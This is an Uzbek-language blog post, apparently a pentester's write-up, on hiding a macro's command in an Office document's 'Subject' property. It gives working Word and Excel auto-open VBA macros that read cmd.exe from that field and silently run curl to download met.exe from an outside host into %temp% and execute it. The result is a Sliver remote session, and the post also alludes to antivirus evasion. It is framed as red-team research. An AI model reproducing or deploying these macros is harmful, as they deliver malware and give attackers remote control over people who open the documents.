top of page

Ofis hujjati xususiyatlarida yashirin funksiyalarni “qurollantirish” va suiiste’mol qilish

3 days ago

5 min read

8

233

0

Mutaxassis bizga dushmanlar Office hujjati xususiyatlarida yashirin funksiyalarni suiiste’mol qilish uchun makroslarni qurollantirish texnikasidan qanday foydalanishini ko‘rsatadi.

Bir necha oy oldin, Microsoft makroslardan foydalanadigan Microsoft Office ilovalarida o‘zgarish joriy etilishini bildirgan maqola e’lon qildi.

Bu xatti-harakatdagi o‘zgarish Office LTSC, Office 2021, Office 2019, Office 2016 va Office 2013 talqinlariga ta’sir qiladi. Microsoft ushbu himoyalarni joriy etar ekan, men uzoq vaqtdan beri foydalanib kelayotgan va hanuzgacha ishlayotgan texnikani siz bilan baham ko‘rmoqchiman. Garchi bu zaiflik abadiy qolishi kutilmasa-da, chunki Microsoft ma’lum bir vaqtda bu chetlab o‘tish usulini yopishi ehtimoldan xoli emas.

Texnikaning qanday ishlashini tushuntirishdan oldin, uni qanday aniqlaganimiz va undan qanday foydalana olganimizni tushunishimiz kerak.

Ushbu tushuncha isboti (PoC) Windows 11 ning so‘nggi talqini va Microsoft Office 2021 yordamida sinovdan o‘tkazildi.

Manba: Microsoft yo'riqnomasi

Office Ilovalari Xususiyatlaridagi Yashirin Sirlar

Office Visual Basic for Applications (VBA) – bu Office ilovalari bilan yaratilgan fayllarda vazifalarni yoki amaliyotlarni avtomatlashtiradigan dasturlash tili. Masalan, VBA kodi yordamida foydalanuvchilarga hujjatni birinchi marta saqlashga uringanida uni muayyan tarmoq diskiga saqlashni eslatib turuvchi pop-up xabari yaratish mumkin. Microsoft bizning VBA skript yaratishimiz uchun foydalanishimiz mumkin bo‘lgan turli xil manbalarni taqdim etadi.

Ushbu tushuncha isbotining (PoC) maqsadi uchun biz zararli Word hujjati yaratamiz va hujjat xususiyatida joylashgan boshqa obyektni chaqirish uchun ilova obyektidan foydalanamiz.

Makro tayyor bo‘lgach, hujjatni Word 97-2003 Document (.doc) formatida saqlashimiz kerak. Ushbu texnika Microsoft Word Macro-Enabled Document (.docm) formatida saqlasak ham ishlaydi.

If Application.Documents.Count >= 1 Then
MsgBox [ActiveDocument.Name](<http://activedocument.name/>)
Else
MsgBox "No documents are open"
End If

Manba: Microsoft VBA yo'riqnomasi

Yuqoridagi misolda VBA kodi Office hujjatining nomi bor-yo‘qligini tekshiradi. Agar hujjat nomga ega bo‘lsa, xabar oynasi (Message Box) paydo bo‘lib, hujjat nomini ko‘rsatadi. Agar hujjat nomga ega bo‘lmasa, boshqa xabar oynasi chiqib, "Hech qanday hujjat ochiq emas" degan xabarni beradi.

Ushbu VBA misoli yordamida biz fayl nomini olishimiz va natijani xabar oynasiga (Message Box) chiqarishimiz mumkin. Biroq, biz ushbu qiymat nishonga sezilmasligi uchun ehtiyot bo‘lishimiz kerak.

Qo‘shimcha tadqiqotlar natijasida, hujjat xususiyatlaridagi qiymatni chaqirish uchun foydalanishimiz mumkin bo‘lgan yana bir obyekt mavjudligini aniqladik.

Document.BuiltInDocumentProperties funksiyasi hujjatning muayyan o‘rnatilgan xususiyatini aks ettiruvchi yagona obyektini qaytaradi. Agar hujjat ushbu o‘rnatilgan xususiyatlardan biridan qiymatni aniqlay olmasa, xatolik yuzaga keladi. Masalan, biz hujjat xususiyatlariga kiritilgan qiymatni olish va undan foydalanish uchun VBA skript yaratishimiz mumkin.

Manba: Microsoft VBA yo'riqnomasi

Keling, quyidagi misolni ko‘rib chiqaylik:

Sub AutoOpen() notetaking End Sub
Sub notetaking() 'get value from company string in document metadata and run i MsgBox ActiveDocument.BuiltInDocumentProperties("Subject").Value
End Sub

Ushbu skript hujjat xususiyatlarining “Subject” kategoriyasida joylashgan qiymatni ko‘rsatadigan xabar oynasini chiqaradi. Ushbu skriptning muvaffaqiyatli ishlashi uchun hujjatimizning “Subject” kategoriyasiga qiymat kiritishimiz kerak. Makro hujjatini o‘ng tugma bilan bosib, Properties bo‘limiga kiramiz, so‘ng Details yorlig‘iga o‘tib, “Subject” kategoriyasiga kerakli qiymatni kiritamiz:

Qiymat kategoriyasiga ma’lum bir ma’lumot kiritganimizdan so‘ng hujjatimizni ochamiz va makroni ishga tushiramiz.

Ko‘rib turganingizdek, makro “Subject” kategoriyasiga kiritgan qiymatimizni xabar oynasida ko‘rsata oldi. Endi ushbu texnikadan foydalanib, o‘rnatilgan hujjat xususiyatidan ilovani yuklash mumkinligini tekshirib ko‘rishimiz mumkin.

"Subject" Kategoriyasida Ishga Tushirishni Sinash

Endi hujjat xususiyatlaridan qanday qilib ma’lumot yuklash mumkinligini bilganimizdan so‘ng, makro orqali ilovani ishga tushirish ustida ishlaymiz. Buning uchun VBA-da “Shell” funksiyasidan foydalanib, chaqirilgan bajariladigan faylni ishga tushirishimiz mumkin.

Sub AutoOpen() calculations End Sub
Sub calculations() 'obtain the value from the subject string in document metadata and run it Dim strProgramName As String Set doc = ActiveDocument strProgramName = doc.BuiltInDocumentProperties("Subject").Value
Call Shell("""" & strProgramName & """", vbNormalFocus) End Sub

strProgramName o‘zgaruvchisi makromiz ishga tushirishi kerak bo‘lgan ilova nomini o‘z ichiga oladi. Ushbu holatda, calc.exe ishga tushishini tekshirib ko‘ramiz.

Endi "Subject" qatoriga "calc.exe" qiymatini o‘rnatdik, keling, Word hujjatini ishga tushirib, natijani ko‘ramiz! "Enable Content" tugmasini bosganimizda, kalkulyator ilovasi kutilganidek ochiladi.

Skriptlarimizni Birlashtirish va Qobiq(Shell) Olish Endi bizning makromiz calc.exe-ni yuklab olishi mumkin bo'lganligi sababli, uni zararli makroga aylantiramiz! Biz makromizdan foydalanib, yuklamamizni yuklaymiz va u bizning tizimimizga qayta bog’lanishini qilishini ta'minlaymiz. Nishonlarimiz orasida sessiya yaratishda yuklamani yasash uchun Metasploit kabi turli xil vositalardan foydalanishimiz mumkin. Biroq, mavjud ko'plab vositalar antivirus dasturlari tomonidan doimiy ravishda aniqlanib kelmoqda va biz uni chetlab o'tishning usullarini topishimiz kerak. Ushbu vaziyatda biz Sliver deb nomlangan vositadan foydalanmoqchimiz. Sliver - bu ochiq manbali, ko'p platformali dushman taqlidi/qizil jamoa freymuorki. Biz Sliverdan implantlar xususiyati uchun foydalanamiz, chunki u Golangda yozilgan va macOS, Windows va Linux tizimlarida ishlatilishi mumkin. Yuklamani yaratganimizda, antivirus (AV) tomonidan aniqlanishimizni chetlab o'tishga yordam beradigan ba'zi nazorat choralarni joriy qilamiz. Onlayn manbalarda yuklamalaringizni AV tomonidan aniqlanishini kamaytirish uchun qo'llanilishi mumkin bo'lgan turli xil texnikalarni topishingiz mumkin. Ushbu maqolada ishlatiladigan texnikalar joriy amaliyotlarda qo'llanilmoqda va hozircha ular baham ko'rilmaydi. Biz sizni o'z tadqiqotingizni o'tkazishga va yuklamalaringizni AV tomonidan aniqlanishdan himoyalashni yaxshilash yo'llarini izlashga undaymiz. Yuklama yaratilgandan so'ng, biz uni host qilish uchun veb-serverni ishga tushirishimiz kerak, chunki makromiz uni nishon tizimga yuklab, ishga tushirishi lozim. Yuklama ishga tushgach, biz Sliver yordamida o'zaro ta'sir qilishimiz mumkin bo'lgan yuklamamizdan yangi sessiya olamiz. Keling, ushbu zararli makro uchun kodga bir nazar tashlaymiz:

Sub AutoOpen()
chapel
End Sub
Sub chapel()
Dim strProgramName As String
Dim strArgument As String
Set doc = ActiveDocument
strProgramName = doc.BuiltInDocumentProperties("Subject").Value
strArgument = "/c curl -s <http://192.168.163.130:8443/met.exe> --output %temp%\\met.exe && %temp%\\met.exe
Call Shell("""" & strProgramName & """ """ & strArgument & """", vbHideFocus)
End Sub

Ushbu VBscriptda srtArgument funksiyasini qo'shdik, u biz chaqirayotgan ilovamiz bilan birga "Subject" toifasidagi matn sifatida bo'lgan satrni bajaradi. Argumentda curl-dan foydalanib, yuklamamizni yuklab olamiz va uni foydalanuvchining mahalliy temp jildiga saqlaymiz. Dastur yuklab olinib, foydalanuvchining mahalliy temp jildiga saqlangandan so'ng, u bajariladi va biz yuklamamizdan qayta bog’lanish olamiz. "Subject" xususiyati cmd.exe-ni o'z ichiga oladi, chunki biz /c "switch" dan foydalanib, buyruqni bajarish uchun ishlatamiz va cmd bajarilgandan so'ng to'xtaydi. Endi biz zararli makromizni yaratganimizdan so'ng, uni saqlab, yopamiz. cmd.exe-ni "Subject" maydoniga kiritamiz va ichki hujjat xususiyatlarida amalga oshirgan o'zgarishlarimizni qo'llaymiz. Ushbu o'zgarishlar bajarilgandan so'ng, endi hujjatimizni ochib, sessiya olganmizmi yoki yo'qligini tekshirishimiz mumkin.



Ushbu videoda ko'rsatilganidek, Sliver serverimizdan muvaffaqiyatli ravishda sessiya oldik. Endi biz nishondagi tizim bilan o'zaro ta'sir qilish imkoniyatiga egamiz.

Microsoft Excel yordamida Qobiq(Shell) olish

Microsoft Wordda zararli makromizni ishga tushirishga muvaffaq bo'lganimizdan so'ng, Microsoft Exceldan ham foydalanib, ichki hujjat xususiyatlarini ishlatish orqali makro yoqilgan ish varog'iga makromizni qo'shishimiz mumkin. Biroq, makromizni Excelda ishlatish uchun undagi ba'zi funksiyalarni o'zgartirishimiz kerak bo'ladi. Document.BuiltInDocumentProperties funksiyasidan foydalanganimiz kabi, Workbook.BuiltinDocumentPropertiesdan foydalanib, belgilangan qiymatimizni yuklaymiz va uni ichki ish kitobi xususiyatiga qaytaramiz.

Keling, ushbu zararli makro uchun kodga bir qarab chiqaylik:

Sub Auto_Open() kincaid End Sub
Sub kincaid()
Dim strProgramName As String
Dim strArgument As String

Set doc = ActiveWorkbook

strProgramName = doc.BuiltinDocumentProperties("Subject").Value

strArgument = "/c curl -s <http://192.168.163.130:8443/met.exe> --output %temp%\\\\met.exe && %temp%\\\\met.exe"

Call Shell("""" & strProgramName & """ """ & strArgument & """", vbHideFocus)

End Sub Sub Workbook_Open() Auto_Open End Sub

Skriptda ko'rib turganingizdek, doc funksiyasini "ActiveDocument"dan "ActiveWorkbook"ga o'zgartirdik va yana bir bo'lim qo'shdik. U makroni yoqsa, avtomatik ravishda ochiladi va makroni bajaradi. Bu bizning zararli Word hujjatimiz bilan qilgan vaziyatimizni takrorlaydi.



Videoda ko'rsatilganidek, makromiz makro yoqilgan ish kitobimizda bajarildi va Sliver serverimizdan sessiya oldik.

Xulosa

Dahl sinovchilari, ya’ni pentesterlar sifatida biz Office ilovalarini nishonga olishda davom etamiz, chunki ular korporativ tarmoqlarda keng qo'llaniladi. VBA hujjatlarga mezbon tizimida vazifalarni avtomatlashtirish va boshqa funksiyalarni bajarish uchun ishlatiladigan makrolarni o'z ichiga olish imkonini beradi. Ushbu elementlar biznes faoliyati uchun juda muhim bo'lsa-da, ular osongina suiiste'mol qilinishi mumkin va tarixan shunday bo'lib kelgan. Dushmanlar bugungi kunda ham ushbu texnikalarni zararli niyatlar bilan suiiste'mol qilmoqda va xavfsizlik tadqiqotchilari sifatida bu texnikalar kelajakda ham yashashda bo'lishda davom etadi.

Himoyachilar o'z qobiliyatlarini yaxshilashda davom etar ekan, Office fayllarini suiiste'mol qilishning ko'p sinab ko'rilgan va haqiqiy usullari ishlamay qolishi mumkinligini hisobga olish muhimdir. Bu muammolar yangi emas va bu sohada tadqiqot uchun juda ko'p imkoniyatlar mavjud. Shu haqda o'ylab ko'ring: ushbu blog postida ko'rsatilgan eksploit Office fayllarida uzoq vaqtdan beri mavjud bo'lgan maydonni ishlatmoqda. Har kuni ushbu imkoniyatlar kelajakda xavfsizlik tadqiqotchilari va Office yordamida yuklamani yetkazib berishning yangi usullarini topmoqchi bo'lganlar uchun muhim bo'ladi.

E'tirof

Men Andy Gill aka ZephrFish-ga ushbu texnikani ko'rsatgani va uni yanada chuqurroq tadqiq qilish imkoniyatini bergani uchun minnatdorchilik bildirmoqchiman. Agar siz menga bu haqda xabar bermaganingizda, men bu qiziqarli yo'lga kirmagan, uning qanday ishlashini tushunmagan bo'lardim.

Related Posts

Comments

Share Your ThoughtsBe the first to write a comment.
bottom of page